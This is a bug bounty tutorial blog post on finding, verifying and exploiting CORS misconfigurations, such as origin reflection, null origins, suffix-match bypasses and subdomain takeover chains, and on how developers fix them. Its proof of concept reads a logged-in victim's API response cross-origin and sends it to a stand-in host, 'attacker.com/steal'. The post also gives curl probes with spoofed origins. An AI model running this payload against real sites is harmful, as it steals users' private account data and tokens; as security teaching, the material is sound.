July 15, 2026
Breaking CORS : Hunting CORS Misconfigurations For Bug Bounty
How one misplaced header lets your website read another user’s private data — and the exact way I find, verify, and exploit it.

By Fuzzyy Duck
5 min read
Imagine loading a target in your browser, opening DevTools, and realizing your own attacker page can quietly read another user's private API response their email, their tokens, their account data. No XSS, no phishing. Just a server that trusts the wrong origin.
That's the power, and the danger, of a CORS misconfiguration. It's one of the most misunderstood corners of web security because it sits at the seam between two things people learn separately: what the browser restricts and what the server permits. Get that seam wrong and you've handed cross-origin attackers a straw into your users' data. [Free link]
First: the Same-Origin Policy
Before CORS makes any sense, you need the rule it relaxes. The Same-Origin Policy (SOP) is the browser's core defense: JavaScript on one origin can send requests to another, but it cannot read the response unless the origins match.
An origin is three things together — scheme + host + port:
https://example.com origin A
https://api.example.com origin B (different host)
http://example.com origin C (different scheme)
https://example.com:8443 origin D (different port)https://example.com origin A
https://api.example.com origin B (different host)
http://example.com origin C (different scheme)
https://example.com:8443 origin D (different port)All four are different origins. Change any one component and the browser treats it as foreign. SOP exists so that a malicious site you visit can't silently read your logged-in Gmail or bank data in another tab.
So what is CORS?
Cross-Origin Resource Sharing (CORS) is the controlled, deliberate way a server says "actually, this specific other origin is allowed to read my responses." SOP is the lockdown; CORS is the server handing out keys.
Here's the crucial part beginners miss: the browser enforces, but the server decides. The browser sends your origin along, the server answers with permission headers, and the browser reads those headers to decide whether your JavaScript gets to see the response.
Browser ──► Request with Origin: https://evil.com
│
▼
Server
│
▼
Access-Control-Allow-Origin: ???
│
▼
Browser decides: can this page's JS read the response?Browser ──► Request with Origin: https://evil.com
│
▼
Server
│
▼
Access-Control-Allow-Origin: ???
│
▼
Browser decides: can this page's JS read the response?If the server reflects https://evil.com back in that header, the browser shrugs and lets evil.com read everything. That's the whole bug in one line.
The headers that matter
Origin— sent by the browser, states who's asking.Access-Control-Allow-Origin(ACAO) — the server's answer: which origin may read the response.Access-Control-Allow-Credentials(ACAC) — iftrue, cookies/auth are allowed cross-origin. This is the header that turns a shrug into a breach.Access-Control-Allow-Methods/-Headers— which methods and custom headers are permitted.Access-Control-Expose-Headers— which response headers JS may read.Access-Control-Max-Age— how long the browser caches the preflight.
A normal successful response looks like:
GET /api/profile HTTP/1.1
Host: target.com
Origin: https://app.target.com
Cookie: session=abc123
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.target.com
Access-Control-Allow-Credentials: true
Content-Type: application/json
{"email":"user@target.com","token":"eyJ..."}GET /api/profile HTTP/1.1
Host: target.com
Origin: https://app.target.com
Cookie: session=abc123
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.target.com
Access-Control-Allow-Credentials: true
Content-Type: application/json
{"email":"user@target.com","token":"eyJ..."}That's correct — one trusted origin, credentials on. The bug is when the trusted origin becomes anyone.
Preflight requests
For anything beyond a "simple" request (custom headers, methods like PUT/DELETE, certain content types), the browser first sends an OPTIONS preflight to ask permission before the real request:
OPTIONS /api/update HTTP/1.1
Host: target.com
Origin: https://evil.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: X-Custom
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Methods: PUT, GET, POST
Access-Control-Allow-Headers: X-CustomOPTIONS /api/update HTTP/1.1
Host: target.com
Origin: https://evil.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: X-Custom
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Methods: PUT, GET, POST
Access-Control-Allow-Headers: X-CustomTip: Always check the preflight separately. Some servers validate the origin correctly on
GETbut rubber-stamp it onOPTIONS, or vice versa. The inconsistency is the finding.
The common misconfigurations
1. Origin reflection
The server echoes whatever origin you send:
Origin: https://evil.com
↓
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: trueOrigin: https://evil.com
↓
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: trueThis is the crown jewel. Combined with credentials: true, any attacker page can read authenticated responses. This usually happens because a developer wanted to "support all our subdomains" and reflected the origin instead of allowlisting.
2. Wildcard on sensitive data
Access-Control-Allow-Origin: *Access-Control-Allow-Origin: *The wildcard looks scary but the browser will not send credentials to a * origin — ACAO: * and ACAC: true together is rejected by the browser. So a wildcard on a public endpoint is usually a non-issue. A wildcard on data that only means anything with a session is often a false positive. Know the difference before you report.
3. Regex / suffix-match bypass
Sloppy validation that checks "does the origin contain target.com?":
https://target.com.evil.com ← contains "target.com", passes
https://eviltarget.com ← prefix match gone wrong
https://target.com.attacker.io ← suffix trickhttps://target.com.evil.com ← contains "target.com", passes
https://eviltarget.com ← prefix match gone wrong
https://target.com.attacker.io ← suffix trickThe developer wrote origin.endsWith("target.com") or a loose regex, and you register target.com.evil.com to satisfy it.
4. Null origin
Origin: nullOrigin: nullSandboxed iframes, data: URLs, and local files produce a null origin. If the server reflects or allowlists null, you can exploit it from a sandboxed iframe:
<iframe sandbox="allow-scripts"
srcdoc="<script>/* fetch target, origin is null */</script>">
</iframe><iframe sandbox="allow-scripts"
srcdoc="<script>/* fetch target, origin is null */</script>">
</iframe>5. Whitelisted subdomain takeover
The server correctly allowlists assets.target.com. But that subdomain points to an abandoned cloud bucket you can claim. Take it over, host your JS there, and you're now a trusted origin — CORS lets you read everything legitimately. This is a beautiful chain and triage loves it because it's undeniable.
Verifying with the tools
The fastest manual check is curl — send a rogue origin and watch what comes back:
curl -s -I https://target.com/api/profile \
-H "Origin: https://evil.com" \
-H "Cookie: session=abc123" | grep -i access-controlcurl -s -I https://target.com/api/profile \
-H "Origin: https://evil.com" \
-H "Cookie: session=abc123" | grep -i access-controlIf you see Access-Control-Allow-Origin: https://evil.com and Access-Control-Allow-Credentials: true, you're likely holding a real bug.
In Burp Suite, send the request to Repeater, add Origin: https://evil.com, and diff the response headers. Then confirm in the browser — the ultimate arbiter, since only the browser actually enforces CORS.
Note:_ A response header saying "allowed" isn't a vuln until a real browser lets JavaScript read the body_ with credentials_. Prove it in a browser or it's theory._
Proof of concept
Here's the classic exfiltration PoC. Host this on your own domain and open it while logged into the target:
<script>
fetch("https://target.com/api/profile", {
credentials: "include" // send the victim's cookies
})
.then(r => r.text())
.then(data => {
// read the private response cross-origin
fetch("https://attacker.com/steal?d=" + encodeURIComponent(data));
});
</script><script>
fetch("https://target.com/api/profile", {
credentials: "include" // send the victim's cookies
})
.then(r => r.text())
.then(data => {
// read the private response cross-origin
fetch("https://attacker.com/steal?d=" + encodeURIComponent(data));
});
</script>If it works, attacker.com receives the victim's private profile JSON. A cleaner version that surfaces the leak visually:
<script>
fetch("https://target.com/api/account", { credentials: "include" })
.then(r => r.json())
.then(d => document.body.innerText = JSON.stringify(d));
</script><script>
fetch("https://target.com/api/account", { credentials: "include" })
.then(r => r.json())
.then(d => document.body.innerText = JSON.stringify(d));
</script>Screen-record the victim's real data appearing on your page. That recording is your report.
When CORS is NOT exploitable (false positives)
Save yourself the embarrassing dupe-of-a-non-bug report. It's likely not exploitable when:
- The endpoint returns no credentials and no sensitive data (public API).
ACAO: *sits on static assets or public content.ACACis absent, so cookies never ride along.- There's no ACAO at all — the browser blocks the read.
- The "sensitive" response is identical whether logged in or not.
Real bug bounty tips
- Chase authenticated endpoints and APIs. CORS on a public page is noise; CORS on
/api/accountis gold. - Hunt admin panels, internal dashboards, and mobile-app APIs — config discipline drops the deeper you go.
- Always test
nulland the preflight separately. - Chain it. CORS pairs beautifully with subdomain takeover (become a trusted origin), reflected XSS (read across origins), and cache poisoning (poison the ACAO into a cached response served to everyone).
- Beginner mistake: reporting
ACAO: *on a public CDN as critical. Triage will close it and remember your name. Confirm credentials and sensitivity first.
How developers should fix it
- Use a strict server-side allowlist of exact origins never reflect the incoming
Origin. - Never combine
ACAO: *withACAC: true(browsers block it anyway, but don't rely on that). - Match origins exactly; avoid
endsWith,includes, and hand-rolled regex. - Reject
null. Restrict methods and headers to the minimum. - Keep sensitive APIs behind proper auth regardless of CORS, CORS is not an authorization control.
Key Takeaways
- SOP locks down cross-origin reads; CORS is the server voluntarily unlocking them. The browser enforces, the server decides.
- The dangerous combination is
Access-Control-Allow-Originreflecting an attacker origin plusAccess-Control-Allow-Credentials: true. ACAO: *alone is usually low impact — no credentials ride a wildcard. Don't over-report it.- Verify in a real browser with credentials, not just in a header diff.
- The money is in authenticated APIs, and in chains — subdomain takeover, XSS, and cache poisoning multiply CORS impact.
Learn the seam between browser and server, send a rogue origin, and watch who the app trusts.